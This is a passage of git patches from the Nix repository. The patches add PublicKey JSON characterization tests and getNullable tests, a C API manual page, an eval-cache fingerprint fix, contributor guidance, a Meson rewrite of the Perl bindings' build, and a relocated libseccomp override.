.../data/public-key/defaultType.json | 4 ++ .../libfetchers/data/public-key/simple.json | 4 ++ tests/unit/libfetchers/public-key.cc | 45 +++++++++++++++---- 3 files changed, 44 insertions(+), 9 deletions(-) create mode 100644 tests/unit/libfetchers/data/public-key/defaultType.json create mode 100644 tests/unit/libfetchers/data/public-key/simple.json diff --git a/tests/unit/libfetchers/data/public-key/defaultType.json b/tests/unit/libfetchers/data/public-key/defaultType.json new file mode 100644 index 000000000..43f02a420 --- /dev/null +++ b/tests/unit/libfetchers/data/public-key/defaultType.json @@ -0,0 +1,4 @@ +{ + "key": "ABCDE", + "type": "ssh-ed25519" +} diff --git a/tests/unit/libfetchers/data/public-key/simple.json b/tests/unit/libfetchers/data/public-key/simple.json new file mode 100644 index 000000000..f83b927ac --- /dev/null +++ b/tests/unit/libfetchers/data/public-key/simple.json @@ -0,0 +1,4 @@ +{ + "key": "ABCDE", + "type": "ssh-rsa" +} diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc index fcd5c3af0..941ae9db7 100644 --- a/tests/unit/libfetchers/public-key.cc +++ b/tests/unit/libfetchers/public-key.cc @@ -1,18 +1,45 @@ #include #include "fetchers.hh" #include "json-utils.hh" +#include +#include "tests/characterization.hh" namespace nix { - TEST(PublicKey, jsonSerialization) { - auto json = nlohmann::json(fetchers::PublicKey { .key = "ABCDE" }); - ASSERT_EQ(json, R"({ "key": "ABCDE", "type": "ssh-ed25519" })"_json); - } - TEST(PublicKey, jsonDeserialization) { - auto pubKeyJson = R"({ "key": "ABCDE", "type": "ssh-ed25519" })"_json; - fetchers::PublicKey pubKey = pubKeyJson; +using nlohmann::json; - ASSERT_EQ(pubKey.key, "ABCDE"); - ASSERT_EQ(pubKey.type, "ssh-ed25519"); +class PublicKeyTest : public CharacterizationTest +{ + Path unitTestData = getUnitTestData() + "/public-key"; + +public: + Path goldenMaster(std::string_view testStem) const override { + return unitTestData + "/" + testStem; } +}; + +#define TEST_JSON(FIXTURE, NAME, VAL) \ + TEST_F(FIXTURE, PublicKey_ ## NAME ## _from_json) { \ + readTest(#NAME ".json", [&](const auto & encoded_) { \ + fetchers::PublicKey expected { VAL }; \ + auto got = nlohmann::json::parse(encoded_); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, PublicKey_ ## NAME ## _to_json) { \ + writeTest(#NAME ".json", [&]() -> json { \ + return nlohmann::json(fetchers::PublicKey { VAL }); \ + }, [](const auto & file) { \ + return json::parse(readFile(file)); \ + }, [](const auto & file, const auto & got) { \ + return writeFile(file, got.dump(2) + "\n"); \ + }); \ + } + +TEST_JSON(PublicKeyTest, simple, (fetchers::PublicKey { .type = "ssh-rsa", .key = "ABCDE" })) + +TEST_JSON(PublicKeyTest, defaultType, fetchers::PublicKey { .key = "ABCDE" }) + +#undef TEST_JSON } From c73172e9864dbb0b38e480c9e284245bbbd616e7 Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Tue, 16 Apr 2024 13:37:39 +0200 Subject: [PATCH 0525/1251] add unit tests for `getNullable` --- tests/unit/libutil/json-utils.cc | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/tests/unit/libutil/json-utils.cc b/tests/unit/libutil/json-utils.cc index ec653fff5..c9370a74b 100644 --- a/tests/unit/libutil/json-utils.cc +++ b/tests/unit/libutil/json-utils.cc @@ -169,7 +169,19 @@ TEST(optionalValueAt, existing) { TEST(optionalValueAt, empty) { auto json = R"({})"_json; - ASSERT_EQ(optionalValueAt(json, "string2"), std::nullopt); + ASSERT_EQ(optionalValueAt(json, "string"), std::nullopt); +} + +TEST(getNullable, null) { + auto json = R"(null)"_json; + + ASSERT_EQ(getNullable(json), std::nullopt); +} + +TEST(getNullable, empty) { + auto json = R"({})"_json; + + ASSERT_EQ(getNullable(json), std::optional { R"({})"_json }); } } /* namespace nix */ From 943a877a6a189bd3ccfc77b6100ee7df80038b5a Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Tue, 16 Apr 2024 13:48:58 +0200 Subject: [PATCH 0526/1251] use default value in `fetchers::PublicKey` json deserialization --- src/libfetchers/fetchers.cc | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index a06d931db..0577b8d9d 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -419,9 +419,13 @@ namespace nlohmann { using namespace nix; fetchers::PublicKey adl_serializer::from_json(const json & json) { - auto type = optionalValueAt(json, "type").value_or("ssh-ed25519"); - auto key = valueAt(json, "key"); - return fetchers::PublicKey { getString(type), getString(key) }; + fetchers::PublicKey res = { }; + if (auto type = optionalValueAt(json, "type")) + res.type = getString(*type); + + res.key = getString(valueAt(json, "key")); + + return res; } void adl_serializer::to_json(json & json, fetchers::PublicKey p) { From a92eb5fc33caa3476a3ff7d58bddcbcb304b8c37 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Apr 2024 19:52:11 +0200 Subject: [PATCH 0527/1251] doc/manual: Add C API to menu --- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/c-api.md | 16 ++++++++++++++++ doc/manual/src/contributing/documentation.md | 3 ++- 3 files changed, 19 insertions(+), 1 deletion(-) create mode 100644 doc/manual/src/c-api.md diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index d9044fbda..ccfc75316 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -112,6 +112,7 @@ - [Store Path Specification](protocols/store-path.md) - [Nix Archive (NAR) Format](protocols/nix-archive.md) - [Derivation "ATerm" file format](protocols/derivation-aterm.md) +- [C API](c-api.md) - [Glossary](glossary.md) - [Contributing](contributing/index.md) - [Hacking](contributing/hacking.md) diff --git a/doc/manual/src/c-api.md b/doc/manual/src/c-api.md new file mode 100644 index 000000000..29df0b644 --- /dev/null +++ b/doc/manual/src/c-api.md @@ -0,0 +1,16 @@ +# C API + +Nix provides a C API with the intent of [_becoming_](https://github.com/NixOS/nix/milestone/52) a stable API, which it is currently not. +It is in development. + +See: +- C API documentation for a recent build of master + - [Getting Started] + - [Index] +- [Matrix Room *Nix Bindings*](https://matrix.to/#/#nix-bindings:nixos.org) for discussion and questions. +- [Stabilisation Milestone](https://github.com/NixOS/nix/milestone/52) +- [Other C API PRs and issues](https://github.com/NixOS/nix/labels/c%20api) +- [Contributing C API Documentation](contributing/documentation.md#c-api-documentation), including how to build it locally. + +[Getting Started]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs +[Index]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs/globals.html diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md index e7f94ab8c..359fdb556 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/contributing/documentation.md @@ -207,8 +207,9 @@ or inside `nix-shell` or `nix develop`: # xdg-open ./outputs/doc/share/doc/nix/internal-api/html/index.html ``` -## C API documentation (experimental) +## C API documentation +Note that the C API is not yet stable. [C API documentation] is available online. You can also build and view it yourself: From 1c4e392c64939ca961458cfb15a9da1e4d883b22 Mon Sep 17 00:00:00 2001 From: Guillaume Maudoux Date: Thu, 25 Apr 2024 00:44:47 +0200 Subject: [PATCH 0528/1251] Compute fingerprint only if needed As per Eelco's review comments Co-authored-by: Eelco Dolstra --- src/libcmd/installables.cc | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 5683e1afa..e5c981629 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -443,9 +443,8 @@ ref openEvalCache( EvalState & state, std::shared_ptr lockedFlake) { - auto fingerprint = lockedFlake->getFingerprint(state.store); - auto hash = evalSettings.useEvalCache && evalSettings.pureEval - ? fingerprint + auto fingerprint = evalSettings.useEvalCache && evalSettings.pureEval + ? lockedFlake->getFingerprint(state.store) : std::nullopt; auto rootLoader = [&state, lockedFlake]() { @@ -472,7 +471,7 @@ ref openEvalCache( } return search->second; } else { - return make_ref(hash, state, rootLoader); + return make_ref(std::nullopt, state, rootLoader); } } From 19cc50dcbf58dd52a82308ab1733d2d7764db9d1 Mon Sep 17 00:00:00 2001 From: Guillaume Maudoux Date: Thu, 25 Apr 2024 00:47:46 +0200 Subject: [PATCH 0529/1251] fixup: Compute fingerprint only if needed --- src/libcmd/installables.cc | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index e5c981629..b93c7f7e8 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -464,10 +464,10 @@ ref openEvalCache( return aOutputs->value; }; - if (hash) { - auto search = state.evalCaches.find(hash.value()); + if (fingerprint) { + auto search = state.evalCaches.find(fingerprint.value()); if (search == state.evalCaches.end()) { - search = state.evalCaches.emplace(hash.value(), make_ref(hash, state, rootLoader)).first; + search = state.evalCaches.emplace(fingerprint.value(), make_ref(fingerprint, state, rootLoader)).first; } return search->second; } else { From 1c2336ff5f93f86683f2635547289e1cfb024358 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 25 Apr 2024 13:34:15 +0200 Subject: [PATCH 0530/1251] add a recommendation for first-time contributors (#10605) this is an idea that came up in a discussion among maintainers --- CONTRIBUTING.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 887bd4802..38f5d43b7 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -27,6 +27,8 @@ Check out the [security policy](https://github.com/NixOS/nix/security/policy). 1. Search for related issues that cover what you're going to work on. It could help to mention there that you will work on the issue. + We strongly recommend first-time contributors not to propose new features but rather fix tightly-scoped problems in order to build trust and a working relationship with maintainers. + Issues labeled [good first issue](https://github.com/NixOS/nix/labels/good%20first%20issue) should be relatively easy to fix and are likely to get merged quickly. Pull requests addressing issues labeled [idea approved](https://github.com/NixOS/nix/labels/idea%20approved) or [RFC](https://github.com/NixOS/nix/labels/RFC) are especially welcomed by maintainers and will receive prioritised review. From b406cf9b81bb4d09f99f3a88f58d4d333e781ff3 Mon Sep 17 00:00:00 2001 From: polar Date: Mon, 1 Apr 2024 22:59:30 +0100 Subject: [PATCH 0531/1251] perl: Correct nebulous #include within Store.xs --- perl/lib/Nix/Store.xs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/perl/lib/Nix/Store.xs b/perl/lib/Nix/Store.xs index 1c64cc66b..1d56e0127 100644 --- a/perl/lib/Nix/Store.xs +++ b/perl/lib/Nix/Store.xs @@ -1,4 +1,4 @@ -#include "config.h" +#include "nix/config.h" #include "EXTERN.h" #include "perl.h" From fc1d9023a2223247b7ed60d15b4eed88d4366649 Mon Sep 17 00:00:00 2001 From: polar Date: Thu, 25 Apr 2024 14:20:05 +0100 Subject: [PATCH 0532/1251] perl: Rewrite build system using Meson --- perl/Makefile | 21 ------ perl/Makefile.config.in | 18 ----- perl/configure.ac | 84 ---------------------- perl/default.nix | 73 ++++++++++--------- perl/lib/Nix/meson.build | 59 +++++++++++++++ perl/local.mk | 46 ------------ perl/meson.build | 152 +++++++++++++++++++++++++++++++++++++++ perl/meson_options.txt | 32 +++++++++ perl/t/meson.build | 15 ++++ 9 files changed, 299 insertions(+), 201 deletions(-) delete mode 100644 perl/Makefile delete mode 100644 perl/Makefile.config.in delete mode 100644 perl/configure.ac create mode 100644 perl/lib/Nix/meson.build delete mode 100644 perl/local.mk create mode 100644 perl/meson.build create mode 100644 perl/meson_options.txt create mode 100644 perl/t/meson.build diff --git a/perl/Makefile b/perl/Makefile deleted file mode 100644 index 832668dd1..000000000 --- a/perl/Makefile +++ /dev/null @@ -1,21 +0,0 @@ -makefiles = local.mk - -GLOBAL_CXXFLAGS += -g -Wall -std=c++2a - -# A convenience for concurrent development of Nix and its Perl bindings. -# Not needed in a standalone build of the Perl bindings. -ifneq ("$(wildcard ../src)", "") - GLOBAL_CXXFLAGS += -I ../src -endif - --include Makefile.config - -OPTIMIZE = 1 - -ifeq ($(OPTIMIZE), 1) - GLOBAL_CXXFLAGS += -O3 -else - GLOBAL_CXXFLAGS += -O0 -endif - -include mk/lib.mk diff --git a/perl/Makefile.config.in b/perl/Makefile.config.in deleted file mode 100644 index d856de3ad..000000000 --- a/perl/Makefile.config.in +++ /dev/null @@ -1,18 +0,0 @@ -HOST_OS = @host_os@ -CC = @CC@ -CFLAGS = @CFLAGS@ -CXX = @CXX@ -CXXFLAGS = @CXXFLAGS@ -PACKAGE_NAME = @PACKAGE_NAME@ -PACKAGE_VERSION = @PACKAGE_VERSION@ -SODIUM_LIBS = @SODIUM_LIBS@ -NIX_CFLAGS = @NIX_CFLAGS@ -NIX_LIBS = @NIX_LIBS@ -nixbindir = @nixbindir@ -curl = @curl@ -nixlibexecdir = @nixlibexecdir@ -nixlocalstatedir = @nixlocalstatedir@ -perl = @perl@ -perllibdir = @perllibdir@ -nixstoredir = @nixstoredir@ -nixsysconfdir = @nixsysconfdir@ diff --git a/perl/configure.ac b/perl/configure.ac deleted file mode 100644 index a02cb06c9..000000000 --- a/perl/configure.ac +++ /dev/null @@ -1,84 +0,0 @@ -AC_INIT(nix-perl, m4_esyscmd([bash -c "echo -n $(cat ../.version)$VERSION_SUFFIX"])) -AC_CONFIG_SRCDIR(MANIFEST) -AC_CONFIG_AUX_DIR(../config) - -CFLAGS= -CXXFLAGS= -AC_PROG_CC -AC_PROG_CXX - -AC_CANONICAL_HOST - -# Use 64-bit file system calls so that we can support files > 2 GiB. -AC_SYS_LARGEFILE - -AC_DEFUN([NEED_PROG], -[ -AC_PATH_PROG($1, $2) -if test -z "$$1"; then - AC_MSG_ERROR([$2 is required]) -fi -]) - -NEED_PROG(perl, perl) -NEED_PROG(curl, curl) -NEED_PROG(bzip2, bzip2) -NEED_PROG(xz, xz) - -# Test that Perl has the open/fork feature (Perl 5.8.0 and beyond). -AC_MSG_CHECKING([whether Perl is recent enough]) -if ! $perl -e 'open(FOO, "-|", "true"); while () { print; }; close FOO or die;'; then - AC_MSG_RESULT(no) - AC_MSG_ERROR([Your Perl version is too old. Nix requires Perl 5.8.0 or newer.]) -fi -AC_MSG_RESULT(yes) - - -# Figure out where to install Perl modules. -AC_MSG_CHECKING([for the Perl installation prefix]) -perlversion=$($perl -e 'use Config; print $Config{version};') -perlarchname=$($perl -e 'use Config; print $Config{archname};') -AC_SUBST(perllibdir, [${libdir}/perl5/site_perl/$perlversion/$perlarchname]) -AC_MSG_RESULT($perllibdir) - -# Look for libsodium. -PKG_CHECK_MODULES([SODIUM], [libsodium], [CXXFLAGS="$SODIUM_CFLAGS $CXXFLAGS"]) - -# Check for the required Perl dependencies (DBI and DBD::SQLite). -perlFlags="-I$perllibdir" - -AC_ARG_WITH(dbi, AC_HELP_STRING([--with-dbi=PATH], - [prefix of the Perl DBI library]), - perlFlags="$perlFlags -I$withval") - -AC_ARG_WITH(dbd-sqlite, AC_HELP_STRING([--with-dbd-sqlite=PATH], - [prefix of the Perl DBD::SQLite library]), - perlFlags="$perlFlags -I$withval") - -AC_MSG_CHECKING([whether DBD::SQLite works]) -if ! $perl $perlFlags -e 'use DBI; use DBD::SQLite;' 2>&5; then - AC_MSG_RESULT(no) - AC_MSG_FAILURE([The Perl modules DBI and/or DBD::SQLite are missing.]) -fi -AC_MSG_RESULT(yes) - -AC_SUBST(perlFlags) - -PKG_CHECK_MODULES([NIX], [nix-store]) - -NEED_PROG([NIX], [nix]) - -# Expand all variables in config.status. -test "$prefix" = NONE && prefix=$ac_default_prefix -test "$exec_prefix" = NONE && exec_prefix='${prefix}' -for name in $ac_subst_vars; do - declare $name="$(eval echo "${!name}")" - declare $name="$(eval echo "${!name}")" - declare $name="$(eval echo "${!name}")" -done - -rm -f Makefile.config -ln -sfn ../mk mk - -AC_CONFIG_FILES([]) -AC_OUTPUT diff --git a/perl/default.nix b/perl/default.nix index 7103574c9..185c8126f 100644 --- a/perl/default.nix +++ b/perl/default.nix @@ -1,47 +1,52 @@ -{ lib, fileset +{ lib +, fileset , stdenv -, perl, perlPackages -, autoconf-archive, autoreconfHook, pkg-config -, nix, curl, bzip2, xz, boost, libsodium, darwin +, perl +, perlPackages +, meson +, ninja +, pkg-config +, nix +, curl +, bzip2 +, xz +, boost +, libsodium +, darwin }: perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { name = "nix-perl-${nix.version}"; src = fileset.toSource { - root = ../.; + root = ./.; fileset = fileset.unions ([ - ../.version - ../m4 - ../mk ./MANIFEST - ./Makefile - ./Makefile.config.in - ./configure.ac ./lib - ./local.mk + ./meson.build + ./meson_options.txt ] ++ lib.optionals finalAttrs.doCheck [ ./.yath.rc ./t ]); }; - nativeBuildInputs = - [ autoconf-archive - autoreconfHook - pkg-config - ]; + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; - buildInputs = - [ nix - curl - bzip2 - xz - perl - boost - ] - ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium - ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security; + buildInputs = [ + nix + curl + bzip2 + xz + perl + boost + ] + ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium + ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security; # `perlPackages.Test2Harness` is marked broken for Darwin doCheck = !stdenv.isDarwin; @@ -50,12 +55,16 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { perlPackages.Test2Harness ]; - configureFlags = [ - "--with-dbi=${perlPackages.DBI}/${perl.libPrefix}" - "--with-dbd-sqlite=${perlPackages.DBDSQLite}/${perl.libPrefix}" + mesonFlags = [ + (lib.mesonOption "version" (builtins.readFile ../.version)) + (lib.mesonOption "dbi_path" "${perlPackages.DBI}/${perl.libPrefix}") + (lib.mesonOption "dbd_sqlite_path" "${perlPackages.DBDSQLite}/${perl.libPrefix}") + (lib.mesonEnable "tests" finalAttrs.doCheck) + ]; + + mesonCheckFlags = [ + "--print-errorlogs" ]; enableParallelBuilding = true; - - postUnpack = "sourceRoot=$sourceRoot/perl"; })) diff --git a/perl/lib/Nix/meson.build b/perl/lib/Nix/meson.build new file mode 100644 index 000000000..9a79245cd --- /dev/null +++ b/perl/lib/Nix/meson.build @@ -0,0 +1,59 @@ +# Nix-Perl Scripts +#============================================================================ + + + +# Sources +#------------------------------------------------- + +nix_perl_store_xs = files('Store.xs') + +nix_perl_scripts = files( + 'CopyClosure.pm', + 'Manifest.pm', + 'SSH.pm', + 'Store.pm', + 'Utils.pm', +) + +foreach f : nix_perl_scripts + fs.copyfile(f) +endforeach + + +# Targets +#--------------------------------------------------- + +nix_perl_scripts += configure_file( + output : 'Config.pm', + input : 'Config.pm.in', + configuration : nix_perl_conf, +) + +nix_perl_store_cc = custom_target( + 'Store.cc', + output : 'Store.cc', + input : nix_perl_store_xs, + command : [xsubpp, '@INPUT@', '-output', '@OUTPUT@'], +) + +# Build Nix::Store Library +#------------------------------------------------- +nix_perl_store_lib = library( + 'Store', + sources : nix_perl_store_cc, + name_prefix : '', + install : true, + install_mode : 'rwxr-xr-x', + install_dir : join_paths(nix_perl_install_dir, 'auto', 'Nix', 'Store'), + dependencies : nix_perl_store_dep_list, +) + + +# Install Scripts +#--------------------------------------------------- +install_data( + nix_perl_scripts, + install_mode : 'rw-r--r--', + install_dir : join_paths(nix_perl_install_dir,'Nix'), +) diff --git a/perl/local.mk b/perl/local.mk deleted file mode 100644 index ed4764eb9..000000000 --- a/perl/local.mk +++ /dev/null @@ -1,46 +0,0 @@ -nix_perl_sources := \ - lib/Nix/Store.pm \ - lib/Nix/Manifest.pm \ - lib/Nix/SSH.pm \ - lib/Nix/CopyClosure.pm \ - lib/Nix/Config.pm.in \ - lib/Nix/Utils.pm - -nix_perl_modules := $(nix_perl_sources:.in=) - -$(foreach x, $(nix_perl_modules), $(eval $(call install-data-in, $(x), $(perllibdir)/Nix))) - -lib/Nix/Store.cc: lib/Nix/Store.xs - $(trace-gen) xsubpp $^ -output $@ - -libraries += Store - -Store_DIR := lib/Nix - -Store_SOURCES := $(Store_DIR)/Store.cc - -Store_CXXFLAGS = \ - $(NIX_CFLAGS) \ - -I$(shell perl -e 'use Config; print $$Config{archlibexp};')/CORE \ - -D_FILE_OFFSET_BITS=64 \ - -Wno-unknown-warning-option -Wno-unused-variable -Wno-literal-suffix \ - -Wno-reserved-user-defined-literal -Wno-duplicate-decl-specifier -Wno-pointer-bool-conversion - -Store_LDFLAGS := $(SODIUM_LIBS) $(NIX_LIBS) - -ifdef HOST_CYGWIN - archlib = $(shell perl -E 'use Config; print $$Config{archlib};') - libperl = $(shell perl -E 'use Config; print $$Config{libperl};') - Store_LDFLAGS += $(shell find ${archlib} -name ${libperl}) -endif - -Store_ALLOW_UNDEFINED = 1 - -Store_FORCE_INSTALL = 1 - -Store_INSTALL_DIR = $(perllibdir)/auto/Nix/Store - -clean-files += lib/Nix/Config.pm lib/Nix/Store.cc Makefile.config - -check: all - yath test diff --git a/perl/meson.build b/perl/meson.build new file mode 100644 index 000000000..bbeb0afa1 --- /dev/null +++ b/perl/meson.build @@ -0,0 +1,152 @@ +# Nix-Perl Meson build +#============================================================================ + + +# init project +#============================================================================ +project ( + 'nix-perl', + 'cpp', + meson_version : '>= 0.64.0', + license : 'LGPL-2.1-or-later', +) + +# setup env +#------------------------------------------------- +fs = import('fs') +nix_version = get_option('version') +cpp = meson.get_compiler('cpp') +nix_perl_conf = configuration_data() +nix_perl_conf.set('PACKAGE_VERSION', nix_version) + + +# set error arguments +#------------------------------------------------- +error_args = [ + '-Wno-pedantic', + '-Wno-non-virtual-dtor', + '-Wno-unused-parameter', + '-Wno-variadic-macros', + '-Wdeprecated-declarations', + '-Wno-missing-field-initializers', + '-Wno-unknown-warning-option', + '-Wno-unused-variable', + '-Wno-literal-suffix', + '-Wno-reserved-user-defined-literal', + '-Wno-duplicate-decl-specifier', + '-Wno-pointer-bool-conversion', +] + +add_project_arguments( + cpp.get_supported_arguments(error_args), + language : 'cpp', +) + + +# set install directories +#------------------------------------------------- +prefix = get_option('prefix') +libdir = join_paths(prefix, get_option('libdir')) + +# Dependencies +#============================================================================ + +# Required Programs +#------------------------------------------------- +xz = find_program('xz') +xsubpp = find_program('xsubpp') +perl = find_program('perl') +curl = find_program('curl') +yath = find_program('yath', required : false) + +# Required Libraries +#------------------------------------------------- +bzip2_dep = dependency('bzip2') +curl_dep = dependency('libcurl') +libsodium_dep = dependency('libsodium') +# nix_util_dep = dependency('nix-util') +nix_store_dep = dependency('nix-store') + + +# Finding Perl Headers is a pain. as they do not have +# pkgconfig available, are not in a standard location, +# and are installed into a version folder. Use the +# Perl binary to give hints about perl include dir. +#------------------------------------------------- +perl_archname = run_command( + perl, '-e', 'use Config; print $Config{archname};', check: true).stdout() +perl_version = run_command( + perl, '-e', 'use Config; print $Config{version};', check: true).stdout() +perl_archlibexp = run_command( + perl, '-e', 'use Config; print $Config{archlibexp};', check: true).stdout() +perl_site_libdir = run_command( + perl, '-e', 'use Config; print $Config{installsitearch};', check: true).stdout() +nix_perl_install_dir = join_paths( + libdir, 'perl5', 'site_perl', perl_version, perl_archname) + + +# print perl hints for logs +#------------------------------------------------- +message('Perl archname: @0@'.format(perl_archname)) +message('Perl version: @0@'.format(perl_version)) +message('Perl archlibexp: @0@'.format(perl_archlibexp)) +message('Perl install site: @0@'.format(perl_site_libdir)) +message('Assumed Nix-Perl install dir: @0@'.format(nix_perl_install_dir)) + +# Now find perl modules +#------------------------------------------------- +perl_check_dbi = run_command( + perl, + '-e', 'use DBI; use DBD::SQLite;', + '-I@0@'.format(get_option('dbi_path')), + '-I@0@'.format(get_option('dbd_sqlite_path')), + check: true +) + +if perl_check_dbi.returncode() == 2 + error('The Perl modules DBI and/or DBD::SQLite are missing.') +else + message('Found Perl Modules: DBI, DBD::SQLite.') +endif + + + +# declare perl dependency +#------------------------------------------------- +perl_dep = declare_dependency( + dependencies : cpp.find_library( + 'perl', + has_headers : [ + join_paths(perl_archlibexp, 'CORE', 'perl.h'), + join_paths(perl_archlibexp, 'CORE', 'EXTERN.h')], + dirs : [ + join_paths(perl_archlibexp, 'CORE'), + ], + ), + include_directories : join_paths(perl_archlibexp, 'CORE'), +) + +# declare dependencies +#------------------------------------------------- +nix_perl_store_dep_list = [ + perl_dep, + bzip2_dep, + curl_dep, + libsodium_dep, + nix_store_dep, +] + +# # build +# #------------------------------------------------- +subdir('lib/Nix') + +if get_option('tests').enabled() + subdir('t') + test( + 'nix-perl-test', + yath, + args : [ + '-I=@0@'.format( join_paths( meson.current_build_dir(), 'lib', 'Nix') ), + ], + ) +endif diff --git a/perl/meson_options.txt b/perl/meson_options.txt new file mode 100644 index 000000000..82ca52f37 --- /dev/null +++ b/perl/meson_options.txt @@ -0,0 +1,32 @@ +# Nix-Perl build options +#============================================================================ + + +# compiler args +#============================================================================ + +option( + 'version', + type : 'string', + description : 'nix-perl version') + +option( + 'tests', + type : 'feature', + value : 'disabled', + description : 'run nix-perl tests') + + +# Location of Perl Modules +#============================================================================ +option( + 'dbi_path', + type : 'string', + value : '/usr', + description : 'path to perl::dbi') + +option( + 'dbd_sqlite_path', + type : 'string', + value : '/usr', + description : 'path to perl::dbd-SQLite') diff --git a/perl/t/meson.build b/perl/t/meson.build new file mode 100644 index 000000000..dbd1139f3 --- /dev/null +++ b/perl/t/meson.build @@ -0,0 +1,15 @@ +# Nix-Perl Tests +#============================================================================ + + +# src +#--------------------------------------------------- + +nix_perl_tests = files( + 'init.t', +) + + +foreach f : nix_perl_tests + fs.copyfile(f) +endforeach From 1ac635d6007b620b0850fb5e7e68cfb7b8badca7 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 25 Apr 2024 16:07:00 -0400 Subject: [PATCH 0533/1251] perl: Allow running `yath test` in the build directory For most purposes, the stock `ninja test` should be fine, but this allows for doing other things with the `yath` during development. --- perl/.yath.rc | 2 -- perl/.yath.rc.in | 2 ++ perl/default.nix | 2 +- perl/meson.build | 16 ++++++++++++---- 4 files changed, 15 insertions(+), 7 deletions(-) delete mode 100644 perl/.yath.rc create mode 100644 perl/.yath.rc.in diff --git a/perl/.yath.rc b/perl/.yath.rc deleted file mode 100644 index 118bf80c8..000000000 --- a/perl/.yath.rc +++ /dev/null @@ -1,2 +0,0 @@ -[test] --I=rel(lib/Nix) diff --git a/perl/.yath.rc.in b/perl/.yath.rc.in new file mode 100644 index 000000000..e6f5f93ec --- /dev/null +++ b/perl/.yath.rc.in @@ -0,0 +1,2 @@ +[test] +-I=rel(@lib_dir@) diff --git a/perl/default.nix b/perl/default.nix index 185c8126f..45682381e 100644 --- a/perl/default.nix +++ b/perl/default.nix @@ -26,7 +26,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { ./meson.build ./meson_options.txt ] ++ lib.optionals finalAttrs.doCheck [ - ./.yath.rc + ./.yath.rc.in ./t ]); }; diff --git a/perl/meson.build b/perl/meson.build index bbeb0afa1..350e5bd67 100644 --- a/perl/meson.build +++ b/perl/meson.build @@ -138,15 +138,23 @@ nix_perl_store_dep_list = [ # # build # #------------------------------------------------- -subdir('lib/Nix') +lib_dir = join_paths('lib', 'Nix') +subdir(lib_dir) if get_option('tests').enabled() + yath_rc_conf = configuration_data() + yath_rc_conf.set('lib_dir', lib_dir) + yath_rc = configure_file( + output : '.yath.rc', + input : '.yath.rc.in', + configuration : yath_rc_conf, + ) subdir('t') test( 'nix-perl-test', yath, - args : [ - '-I=@0@'.format( join_paths( meson.current_build_dir(), 'lib', 'Nix') ), - ], + args : ['test'], + workdir : meson.current_build_dir(), + depends : [nix_perl_store_lib], ) endif From 1a2f88491f776f280640180f64d78c199d4e2d5b Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 25 Apr 2024 16:36:56 -0400 Subject: [PATCH 0534/1251] Move `libseccomp` source override outside `package.nix` This makes it match the current pattern: - `package.nix` assumes deps are right version - Overlay in `flake.nix` creates `*-nix` package variations - Overlay manually passes in those packages to `package.nix` --- flake.nix | 9 +++++++++ package.nix | 8 +------- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/flake.nix b/flake.nix index 2795172bb..987f25305 100644 --- a/flake.nix +++ b/flake.nix @@ -179,6 +179,14 @@ ]; }); + libseccomp-nix = final.libseccomp.overrideAttrs (_: rec { + version = "2.5.5"; + src = final.fetchurl { + url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz"; + hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U="; + }; + }); + changelog-d-nix = final.buildPackages.callPackage ./misc/changelog-d.nix { }; nix = @@ -198,6 +206,7 @@ officialRelease = false; boehmgc = final.boehmgc-nix; libgit2 = final.libgit2-nix; + libseccomp = final.libseccomp-nix; busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; } // { # this is a proper separate downstream package, but put diff --git a/package.nix b/package.nix index 59265f522..cf1654c6a 100644 --- a/package.nix +++ b/package.nix @@ -249,13 +249,7 @@ in { ] ++ lib.optionals buildUnitTests [ gtest rapidcheck - ] ++ lib.optional stdenv.isLinux (libseccomp.overrideAttrs (_: rec { - version = "2.5.5"; - src = fetchurl { - url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz"; - hash = 